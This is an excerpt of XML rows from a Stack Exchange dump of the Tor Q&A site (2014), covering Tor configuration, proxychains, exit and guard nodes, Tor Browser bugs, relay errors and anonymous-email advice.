  <row Id="4677" PostTypeId="1" CreationDate="2014-11-26T09:12:09.187" Score="3" ViewCount="92" Body="&lt;p&gt;I'm curious how frequently do the Tor network exit node IPs change?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More specifically, approximately what percentage in a given month still remain in use the next month?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or do all typically stay in use and just new ones are added?&lt;/p&gt;&#xA;" OwnerUserId="5180" LastEditorUserId="923" LastEditDate="2014-11-26T10:41:27.547" LastActivityDate="2014-11-26T10:41:27.547" Title="What is the Tor network exit node IP address turnover?" Tags="|anonymity|exit-relays|web-proxy|" AnswerCount="0" CommentCount="1" ClosedDate="2015-09-13T16:42:24.853" ContentLicense="CC BY-SA 3.0" />
  <row Id="4678" PostTypeId="1" AcceptedAnswerId="4684" CreationDate="2014-11-26T17:41:59.817" Score="1" ViewCount="397" Body="&lt;p&gt;when using proxychains+Tor in kali,you should  be logged in as root because proxychanis doesn't work when you are not logged in as root but using Tor while logged in as root is not secure so what is the correct way of using proxychains+Tor,is it even possible to use these while you are not root?&lt;/p&gt;&#xA;" OwnerUserId="5183" LastEditorUserId="923" LastEditDate="2014-11-26T19:18:13.487" LastActivityDate="2014-11-27T03:17:08.380" Title="Is it secure to use proxychains+Tor while logged in as root?" Tags="|anonymity|linux|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4679" PostTypeId="2" ParentId="4608" CreationDate="2014-11-26T20:09:25.237" Score="1" Body="&lt;p&gt;It is possible to achieve the result you're looking for quite simply thanks to &lt;a href=&quot;http://proxychains.sourceforge.net/&quot; rel=&quot;nofollow&quot;&gt;proxychains&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be too hard to force Tor to use a specific exit node though. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Proxychains works by routing your traffic through multiple proxies that you can easily configure. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It supports Socks so you can choose Tor as your first proxy &lt;em&gt;(this is even the default configuration)&lt;/em&gt;, then pick a Norwegian proxy (socks or http, as you wish) to make your connection look like it comes from Norway. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The great thing about proxychains is that you specify which application will use this chains of proxies, as such :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ proxychains iceweasel &#xA;$ proxychains &amp;lt;irc-client&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can even start multiple sessions of your browser, one with the default Tails routing, and the other through additional proxie(s) after the Tor circuit. &lt;/p&gt;&#xA;" OwnerUserId="1785" LastActivityDate="2014-11-26T20:09:25.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4680" PostTypeId="2" ParentId="4637" CreationDate="2014-11-26T22:43:57.277" Score="3" Body="&lt;p&gt;While I don't have an expert answer, I can draft some thoughts on your first question. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To estimate one's security level you have to define what your adversaries' capabilities are (technical skills, financial power, time and number of men), plus other factors (why would they spend their resources on targeting you, ...). That will form your threat model.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your set up does protect you from one specific attack configuration you mentioned : interception is made at compromised entry node and compromised exit node. &#xA;But that's not the only way to do traffic correlation. What if the attacker monitors your traffic when it is between your computer and your ISP? And bear in mind that correlation doesn't need to be perfect (extent knowledge of every  packet content you sent and to whom) to be fatal : just knowing the fact that you're using Tor at a particular time can be enough (c.f. Bomb threats on a US campus to escape exams, only one guy connected to Tor at the time an email came from Tor. Fail). &#xA;So yes you're &lt;strong&gt;protected from some current attacks&lt;/strong&gt; but not from lots of other. &#xA;Although of course, for someone to make all the investigation efforts, you would need to be valuable enough of a target. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, what about &lt;strong&gt;new attacks&lt;/strong&gt; possibilities this set up would create ? Once again it depends on your threat model. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If someone deems it to be worth it, he can compromise your server, either remotely or physically. If you're not an expert at computer security, then sadly so your server will be hackable. Secure data centers can do a little more to prevent physical intrusions but everyone has a price and/or employees can be tricked. &#xA;And even if they couldn't compromise your server, the fact that you are alone on your machine doesn't &lt;em&gt;guarantee&lt;/em&gt; its confidentiality, as analysing the power consumption of the host computer could leak information. OK, I reckon I added this one to freak you out, but this is truly possible and at least it shows that, provided someone is determined enough, you can't even imagine to what length they will go to beat you. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in the end, it all comes down to your threat level. From who you want to conceal your activities and why ? You have to work with &lt;em&gt;assumptions&lt;/em&gt; because technical facts are overwhelmingly unlimited. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I wrote until now is objective, verifiable and commonly accepted facts, to the best of my knowledge. &#xA;But as no practical solution seem to emerge from these, I will now give my personal opinion which is &lt;strong&gt;to take with maximum precaution. I don't have enough cryptographic knowledge to assess the correctness of what I propose.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From all the threats I mentioned, the one that would worry me the most (because it is &lt;em&gt;very&lt;/em&gt; likely to happen as it is cheap though most effective) is your ISP eavesdropping. Weather it is legal or not, weather they even know about it or not doesn't matter. (You could even enlarges this threat zone to the whole path between your computer and your server input). &#xA;This is serious because it is a single point of failure. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I would do is obscuring the traffic that you send to your entry node. The fact that it is encrypted conceal the content but not its shape because Tor does not randomize traffic (a variable amount of junk bytes added to each packet). I think that using a VPN to connect to your server would address this issue. As the data would be decrypted on the server right before going into the node, the traffic you sent to the entry node does not leak anymore, and the extra layer of encryption makes statistical analysis harder. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Once again this is an hypothesis that need to be reviewed by cryptographers and confronted by security experts to assess its strength.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I think that if there is a solution to statistical analysis of the Tor network, it may ressembles something like that. It does lack this extra twist that cryptographers add to a protocol, an elegant trick of which no regular people would have thought to, that turns a seemingly good idea into a piece of art. &lt;/p&gt;&#xA;" OwnerUserId="1785" LastEditorUserId="923" LastEditDate="2014-11-27T04:14:39.680" LastActivityDate="2014-11-27T04:14:39.680" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4681" PostTypeId="2" ParentId="4637" CreationDate="2014-11-26T22:58:22.430" Score="4" Body="&lt;p&gt;To manually set an entry node see the following &lt;a href=&quot;https://www.torproject.org/docs/faq.html.en#ChooseEntryExit&quot; rel=&quot;nofollow&quot;&gt;FAQ entry&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;em&gt;Can I control which nodes (or country) are used for entry/exit?&lt;/em&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Yes. You can set preferred entry and exit nodes as well as inform Tor&#xA;  which nodes you do not want to use. The following options can be added&#xA;  to your config file &quot;&lt;a href=&quot;https://www.torproject.org/docs/faq.html.en#torrc&quot; rel=&quot;nofollow&quot;&gt;torrc&lt;/a&gt;&quot; or specified on the command line:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;EntryNodes $fingerprint,$fingerprint,...&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;A list of preferred nodes to use for the first hop in the circuit, if possible.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;As for whether or not this is a good idea, the answer is almost certainly no. The chance that an attacker can control both your entry and exit node to perform traffic correlation is relatively small. If they want to perform this correlation, they're more likely to attempt to control the exit node, and sit between you and your ISP watching your traffic in some other way. You haven't prevented this attack, but in the mean time you've also ensured that they KNOW which entry node you are using, meaning that if they can't get between you and your ISP you've added the threat vector where they compromise your server or force your VPS or colocation provider to cooperate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Giving an attacker more information (what entry node you're using at all times) is almost always a bad idea.&lt;/p&gt;&#xA;" OwnerDisplayName="user5" LastActivityDate="2014-11-26T22:58:22.430" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4682" PostTypeId="2" ParentId="4674" CreationDate="2014-11-26T23:08:05.837" Score="0" Body="&lt;p&gt;You should also set &lt;code&gt;StrictNodes 1&lt;/code&gt; in your &lt;code&gt;torrc&lt;/code&gt;. This advises Tor to only use US nodes. With this setting 10 out of 10 requests should come from the US.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However if you see a smaller number there might be some differences in the GeoIP databases. So if you're checking from which country Tor connects make sure to look into the &lt;code&gt;GeoIPFile&lt;/code&gt; (set also in your &lt;code&gt;torrc&lt;/code&gt;).&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2014-11-26T23:08:05.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4684" PostTypeId="2" ParentId="4678" CreationDate="2014-11-27T03:17:08.380" Score="1" Body="&lt;p&gt;Using proxychains while logged in as root is also not secure and there's no reason you should have to give proxychains root access.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, the following works just fine for me without root:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ PROXYCHAINS_SOCKS5=9050 telnet towel.blinkenlights.nl&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerDisplayName="user5" LastActivityDate="2014-11-27T03:17:08.380" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4685" PostTypeId="1" CreationDate="2014-11-27T12:29:54.003" Score="2" ViewCount="352" Body="&lt;p&gt;It appears that having Guard-Exit node in Tor increase the probability of deanonymizing the client compare to Guard and exit node separately. To put it in a nutshell if a node at times could become your Guard node and at other times could become your exit node even in a same session (look at this question  for reference   &lt;a href=&quot;https://tor.stackexchange.com/questions/3339/what-is-the-risk-of-guard-relay-and-exit-relay-being-one-and-the-same&quot;&gt;What is the risk of guard relay and exit relay being one and the same?&lt;/a&gt;), it might be able to integrate these information and thus facilitate client deanonymization. For further reference also please look at this question &lt;a href=&quot;https://tor.stackexchange.com/questions/3756/why-adding-guard-exit-ee-node-in-tor-yeild-more-catch-probability-than-adding&quot;&gt;Why adding Guard-Exit (EE) node in Tor yeild more catch probability than adding guard and exit node separately?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Under these circumstances, why would Tor allow Guard-Exit node?&lt;/p&gt;&#xA;" OwnerUserId="923" LastEditorUserId="923" LastEditDate="2014-11-30T10:13:35.347" LastActivityDate="2014-12-03T22:38:01.127" Title="What is the risk of Guard-Exit node in Tor compare to Guard and exit node separately?" Tags="|tor-browser-bundle|exit-relays|deanonymization|guard|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4687" PostTypeId="1" CreationDate="2014-11-27T21:21:23.020" Score="1" ViewCount="57" Body="&lt;p&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Server-sent_events/Using_server-sent_events&quot; rel=&quot;nofollow&quot;&gt;Server Sent Events&lt;/a&gt;(SSE) are a new alternative method to enable browser-server communication. Since Mozilla is supporting this initiative in their browsers, can we use SSE with the Tor Browser? What about SSE compatible browsers operating over Tor in general?&lt;/p&gt;&#xA;" OwnerUserId="610" LastActivityDate="2014-11-27T21:21:23.020" Title="Are server-sent-events (SSE) supported over Tor?" Tags="|javascript|server-administration|website|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4689" PostTypeId="2" ParentId="4552" CreationDate="2014-11-28T04:37:26.563" Score="4" Body="&lt;p&gt;While there are some great suggestions in the other answers in this thread, we should be careful to answer the question actually being asked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OP asked for anonymous email. Many of these answers assume he wants encrypted email as well, which may or may not be the case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As others have said, we need a better idea of the specifics of the poster's use case.  From whom do you need to remain anonymous?  Just the recipient of the email, the ISP who delivers it, the US government, law enforcement, your boss, or your spouse? Does the content have to be secret as well, our just your sending identity?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Knowing these details will get you better answers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's make some assumptions, and try to get you an answer &quot;your mom would understand.&quot;  Note that if any if these assumptions are wrong, the advice will be too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assume you learned something bad about your work and want to be a whistle blower to the Labor Board, but can't afford having your boss find out, and would rather the labor board not know who you are. You just want to email them the dirt.  In this case you don't care if the information in the email is secret, you just want to hide your identity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case, you don't care so much about the government, or law enforcement. You might care about a private investigator after the fact.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One way you could go about this is to go to a library or coffee shop you've never been to before. Use a computer you have never used before.  Create a brand new email account with the provider of your choice, but don't provide any real information for your name or contact info.  Use that to send your email.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course it's up to you to not disclose details about yourself in the message you send.  But aside from that, it would take significant government level spy effort to identify you as the sender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What the recipient could learn easily would be: the address of the coffee house or library you used, and the time you sent the message.  But if you don't go back there, and didn't buy anything with a credit card while there, it's extremely unlikely any average adversary could id you from that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And while you could use the account again to get a response, never access it from your home internet or home computer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But that's just one scenario, and the details of your specific threat model matter in providing a solid, workable answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe you need mixmaster, Tor, a VPN, and pgp. We just don't know.&lt;/p&gt;&#xA;" OwnerUserId="5190" LastActivityDate="2014-11-28T04:37:26.563" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4690" PostTypeId="1" CreationDate="2014-11-28T05:25:45.093" Score="4" ViewCount="2278" Body="&lt;p&gt;I recently updated to Tor Browser 4.0 and found that this new version has a number of oddities in the realm of how it draws its window.  Please examine the attached screenshots.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0uWmU.png&quot; alt=&quot;first run&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This screenshot shows how the Tor Browser window first shows up on my screen after a fresh install.  Note the blank spaces at the bottom of the window (resembling a status bar) and at the right edge.  Both of these anomalies go away if I do anything to resize the window, or even just minimize and restore the window (forcing a redraw) - so the inconvenience is minor, but still, this shouldn't be happening.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DJRZs.png&quot; alt=&quot;with CTR&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This screenshot shows the changes after installing the Classic Theme Restorer extension and restarting.  First, note that the window is considerably shorter than on the first run; this has nothing to do with CTR and happens on the second run even when the first run is shut down without doing anything.  Why can't Tor Browser properly save and restore my desired window height?  Second, notice that the blank spaces at bottom and right still appear, even now that CTR is creating a new toolbar at the bottom of the window.  Third, notice that the old style of main menu button at upper left that was recreated by CTR does not appear to have enough room for the words &quot;Tor Browser&quot;.  (Unlike the others, this particular anomaly never does resolve itself, no matter what I do.)  Am I doing something to cause these strange behaviors?  Is there something unusual about my computer that could be causing them?  Is there some sort of incompatibility between Tor Browser and CTR that I'm not aware of?&lt;/p&gt;&#xA;" OwnerUserId="1527" LastActivityDate="2014-12-29T18:41:10.447" Title="Strange window anomalies when starting Tor Browser" Tags="|tor-browser-bundle|windows|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4691" PostTypeId="2" ParentId="4690" CreationDate="2014-11-28T12:37:52.517" Score="2" Body="&lt;p&gt;This is a bug in the current version of Tor Browser Bundle. It has bug number &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/13142&quot; rel=&quot;nofollow&quot;&gt;#13142&lt;/a&gt;. However all effort and information can be found at &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/13437&quot; rel=&quot;nofollow&quot;&gt;#13437&lt;/a&gt;. Here you'll also find information when a fix is found.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2014-11-28T12:37:52.517" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4692" PostTypeId="1" CreationDate="2014-11-28T17:57:21.463" Score="3" ViewCount="3006" Body="&lt;p&gt;The logfile of my Tor relay is filled with thousands of lines saying:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[warn] Error creating network socket: No buffer space available&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;By googling I found out, that this might have to do with the fact, that Tor is running on a virtual server. But when it comes to tell what the solution is, I only find links to a site that is no longer available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you know how to solve this problem?&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;EDIT:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;9 hours before the end of this bounty I still did get no answer that tells me what to do to solve the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;summary of my comments:&lt;/strong&gt;&lt;br&gt;&#xA;I am running Linux (Ubuntu 14.04 LTS) on a remote virtual server, hosted in a commercial serverfarm.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On my virtual server the limit of numtcpsock is 1360. But I still don't know what to do. In torrc I've set ConstrainedSockets 1 and ConstrainedSockSize 2048 bytes, but it didn't help.&lt;/p&gt;&#xA;" OwnerUserId="1856" LastEditorUserId="1856" LastEditDate="2014-12-08T09:12:15.413" LastActivityDate="2014-12-13T21:10:27.927" Title="Error creating network socket: No buffer space available" Tags="|relays|help|error|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4693" PostTypeId="1" CreationDate="2014-11-28T22:20:09.493" Score="3" ViewCount="3858" Body="&lt;p&gt;I use Tor inside a Virtual Machine. I run Wireshark on my Host. I want to detect Tor usage (for learning/studying) with Wireshark but don't know how? I have tried &lt;a href=&quot;https://ask.wireshark.org/questions/13590/tor-detection&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;tshark -r tor_traffic.cap -T fields -R &quot;ssl.handshake.certificate&quot; -e x509af.utcTime -e x509s at.printableString&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but tshark output doesn't show any cert names. Are there any ways to accomplish this task?&lt;/p&gt;&#xA;" OwnerUserId="5192" LastEditorDisplayName="user5" LastEditDate="2015-02-15T14:13:27.777" LastActivityDate="2015-02-15T14:13:27.777" Title="How to detect Tor usage with Wireshark?" Tags="|virtual-machine|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4695" PostTypeId="1" AcceptedAnswerId="4699" CreationDate="2014-11-29T07:32:14.133" Score="2" ViewCount="824" Body="&lt;p&gt;When using StartPage I get asked to complete a capcha. Why is Startpage asking for a Capcha?  Is StartPage identifying or spying on me?  Is StartPage compromised or is it safe?&lt;/p&gt;&#xA;" OwnerUserId="3495" LastEditorUserId="923" LastEditDate="2014-11-29T09:13:00.123" LastActivityDate="2023-03-12T15:46:31.073" Title="Is Tor browser Compromised?" Tags="|security|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4696" PostTypeId="1" CreationDate="2014-11-29T10:32:39.973" Score="1" ViewCount="51" Body="&lt;p&gt;Whenever I hit &quot;New Identity&quot; it knocks me out of my session, is there a way to just simply have it reload?&lt;/p&gt;&#xA;" OwnerUserId="5195" LastEditorUserId="923" LastEditDate="2014-11-29T10:45:45.113" LastActivityDate="2014-11-29T10:45:45.113" Title="How can I reset my IP address and stay on the same page?" Tags="|anonymity|session|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4697" PostTypeId="1" AcceptedAnswerId="4698" CreationDate="2014-11-29T11:55:46.927" Score="2" ViewCount="441" Body="&lt;p&gt;I am running two relays and a couple of bridges. Currently only the relays have the MyFamily option set. Should the bridges also have it set? Should they include the relays or should they not? Is this option even used on bridges?&lt;/p&gt;&#xA;" OwnerUserId="1292" LastActivityDate="2014-11-29T13:26:45.923" Title="Should the MyFamily option be set for bridges?" Tags="|relays|bridge|myfamily|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4698" PostTypeId="2" ParentId="4697" CreationDate="2014-11-29T13:26:45.923" Score="1" Body="&lt;p&gt;No, absolutely not. The setting will be &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/4657&quot; rel=&quot;nofollow&quot;&gt;ignored&lt;/a&gt; anyways. The default &lt;code&gt;torrc&lt;/code&gt; file also &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/5511)&quot; rel=&quot;nofollow&quot;&gt;has a comment&lt;/a&gt; which explains this setting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You don't want your bridge address listed anywhere publically where it can be discovered (eg. in another relay's &quot;My family&quot; line).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From ticket #&lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/5511)&quot; rel=&quot;nofollow&quot;&gt;5511&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;as rransom pointed out to me, bridges should NEVER see their fingerprints set in the MyFamily setting.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;rransom | DO NOT include a bridge's fingerprint in any Tor instance's&#xA;  MyFamily torrc line.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;rransom | Anyone can use a bridge's fingerprint&#xA;  to find its current TCP address.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerDisplayName="user5" LastActivityDate="2014-11-29T13:26:45.923" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4699" PostTypeId="2" ParentId="4695" CreationDate="2014-11-29T16:03:12.800" Score="5" Body="&lt;p&gt;&lt;strong&gt;This is not a indication that Tor is compromised&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;The captcha on startpage.com is used to prevent data scraping by limiting the number of searches. When the limit is reached a captcha is shown.&lt;/p&gt;&#xA;&lt;p&gt;Tor exit nodes often reach these kinds of limits since a lot of traffic goes through only a few exit nodes. From StartPage view it looks like one user does a huge amount of searches.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;From StartPage &lt;a href=&quot;https://support.startpage.com/index.php?/Knowledgebase/Article/View/294/0/startpages-use-of-captchas&quot; rel=&quot;nofollow noreferrer&quot;&gt;support&lt;/a&gt;:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;StartPage and Ixquick use CAPTCHAs to confirm that you are a user of our service.&lt;/p&gt;&#xA;&lt;p&gt;Sending a large number of StartPage searches in a short period of time can result in StartPage asking you to complete a CAPTCHA. Once you complete a CAPTCHA, you won't need to complete another one unless you exceed the request limit again.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="5107" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2014-11-29T16:31:17.773" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4700" PostTypeId="2" ParentId="4690" CreationDate="2014-11-29T16:51:04.727" Score="3" Body="&lt;p&gt;The reason Tor Browser does not save/restore changed window sizes is that websites can query your window size, even with JavaScript turned off. This would then act as a persistent identifier (fingerprint).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More generally, changing your window size at all is a bad idea for this very reason, as is installing (most) extensions. Use the defaults, Luke.&lt;/p&gt;&#xA;" OwnerUserId="5196" LastActivityDate="2014-11-29T16:51:04.727" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4701" PostTypeId="1" CreationDate="2014-11-29T17:53:53.547" Score="1" ViewCount="1841" Body="&lt;p&gt;Can I boot Tails from a external hard drive ( Ironkey H200 ), or only cd/usb ?&lt;/p&gt;&#xA;" OwnerUserId="5197" LastEditorUserId="923" LastEditDate="2014-11-30T10:00:49.060" LastActivityDate="2022-04-13T17:02:20.213" Title="Booting Tails from external hard drive" Tags="|tor-browser-bundle|tails|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4702" PostTypeId="1" CreationDate="2014-11-29T18:59:38.893" Score="6" ViewCount="1897" Body="&lt;p&gt;I try to connect on Tor, but I always got the same message &quot;Something Went Wrong!&quot; &#xA;It appears after deleting the previous version (3.x) to the new one (4.x) &#xA;When I try to change my identity it's written&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Torbutton cannot safely give you a new identity. It does not have access to the Tor Control Port. Are you running Tor Browser Bundle?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I really don't know from where it comes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've already try to unistall/reinstall the Tor Browser Bundle (like 10/15 times), and it always come.&#xA;Sometimes, I can connect (like 1 time every 5 try)&#xA;What can I do?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;30/11/2014 22:51:24.110 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;30/11/2014 22:51:24.110 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;30/11/2014 22:51:24.110 [NOTICE] Renaming old configuration file to &quot;C:\Users\&amp;lt;username&amp;gt;\Desktop\TBB2\Browser\TorBrowser\Data\Tor\torrc.orig.1&quot; &#xA;30/11/2014 22:51:24.540 [NOTICE] Bootstrapped 5%: Connecting to directory server &#xA;30/11/2014 22:51:24.619 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server &#xA;30/11/2014 22:51:24.795 [NOTICE] Bootstrapped 15%: Establishing an encrypted directory connection &#xA;30/11/2014 22:51:24.951 [NOTICE] Bootstrapped 20%: Asking for networkstatus consensus &#xA;30/11/2014 22:51:25.110 [NOTICE] Bootstrapped 25%: Loading networkstatus consensus &#xA;30/11/2014 22:51:26.359 [NOTICE] I learned some more directory information, but not enough to build a circuit: We have no usable consensus. &#xA;30/11/2014 22:51:26.792 [NOTICE] Bootstrapped 40%: Loading authority key certs &#xA;30/11/2014 22:51:27.276 [NOTICE] Bootstrapped 45%: Asking for relay descriptors &#xA;30/11/2014 22:51:27.276 [NOTICE] I learned some more directory information, but not enough to build a circuit: We need more microdescriptors: we have 0/6748, and can only build 0% of likely paths. (We have 0% of guards bw, 0% of midpoint bw, and 0% of exit bw.) &#xA;30/11/2014 22:51:27.598 [NOTICE] Bootstrapped 50%: Loading relay descriptors &#xA;30/11/2014 22:51:30.862 [NOTICE] Bootstrapped 55%: Loading relay descriptors &#xA;30/11/2014 22:51:31.519 [NOTICE] Bootstrapped 60%: Loading relay descriptors &#xA;30/11/2014 22:51:32.394 [NOTICE] Bootstrapped 65%: Loading relay descriptors &#xA;30/11/2014 22:51:33.301 [NOTICE] Bootstrapped 70%: Loading relay descriptors &#xA;30/11/2014 22:51:33.473 [NOTICE] Bootstrapped 75%: Loading relay descriptors &#xA;30/11/2014 22:51:34.608 [NOTICE] We now have enough directory information to build circuits. &#xA;30/11/2014 22:51:34.608 [NOTICE] Bootstrapped 80%: Connecting to the Tor network &#xA;30/11/2014 22:51:34.609 [NOTICE] Bootstrapped 90%: Establishing a Tor circuit &#xA;30/11/2014 22:51:35.151 [NOTICE] Tor has successfully opened a circuit. Looks like client functionality is working. &#xA;30/11/2014 22:51:35.151 [NOTICE] Bootstrapped 100%: Done &#xA;30/11/2014 22:51:42.877 [NOTICE] New control connection opened from 127.0.0.1. &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5199" LastEditorUserId="88" LastEditDate="2015-08-20T20:22:40.817" LastActivityDate="2015-08-20T20:22:40.817" Title="Tor Browser doesn't work due to no access to control port" Tags="|tor-browser-bundle|help|" AnswerCount="0" CommentCount="3" ClosedDate="2015-08-21T14:11:39.790" ContentLicense="CC BY-SA 3.0" />
  <row Id="4703" PostTypeId="2" ParentId="4637" CreationDate="2014-11-30T14:28:39.687" Score="0" Body="&lt;p&gt;Tor will automatically select a certain entry point. When you first start Tor it will decide on which entry node to use and stick to it, even writing that information to disk. These nodes are called guard nodes. This is to prevent the attacks you mentioned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More information on this can be found in the &lt;a href=&quot;https://www.torproject.org/docs/faq#EntryGuards&quot; rel=&quot;nofollow&quot;&gt;FAQ&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Choosing them yourself might in some cases be counter-productive. Research on this is constantly ongoing so the default settings should be really good.&lt;/p&gt;&#xA;" OwnerUserId="1292" LastActivityDate="2014-11-30T14:28:39.687" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
